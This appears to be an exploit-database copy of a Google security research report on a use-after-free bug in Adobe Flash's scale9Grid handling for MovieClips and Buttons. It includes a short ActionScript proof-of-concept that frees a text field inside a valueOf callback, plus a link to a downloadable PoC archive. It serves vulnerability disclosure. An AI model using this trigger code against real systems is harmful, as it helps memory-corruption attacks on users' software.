27 lines
855 B
Text
Executable file
27 lines
855 B
Text
Executable file
Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
|
|
|
|
There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes.
|
|
|
|
A PoC is as follows:
|
|
|
|
var n = { valueOf : func };
|
|
var o = {x:n, y:0,width:10, height:10}
|
|
|
|
_global.mc = this
|
|
var newmc:MovieClip = this.createEmptyMovieClip("mymc",1)
|
|
mymc.scale9Grid = o
|
|
|
|
|
|
function func() {
|
|
trace("here");
|
|
var t = _global.mc.createTextField("test",1,1,1,2,3)
|
|
t.removeTextField()
|
|
return 7
|
|
}
|
|
|
|
|
|
A sample fla and swf is attached.
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37863.zip
|
|
|